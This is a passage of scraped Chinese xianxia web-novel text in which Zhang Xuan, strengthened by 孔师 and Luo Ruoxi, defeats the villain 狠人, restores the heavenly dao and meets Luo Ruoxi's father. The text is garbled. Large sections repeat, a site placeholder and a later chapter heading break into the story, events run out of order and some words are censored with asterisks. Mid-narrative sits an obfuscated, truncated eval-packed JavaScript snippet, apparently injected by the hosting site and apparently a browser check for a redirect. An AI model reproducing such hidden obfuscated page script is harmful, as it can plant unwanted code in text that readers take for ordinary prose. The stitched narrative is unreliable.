张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第116章陷阱,已然彻底发动 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” 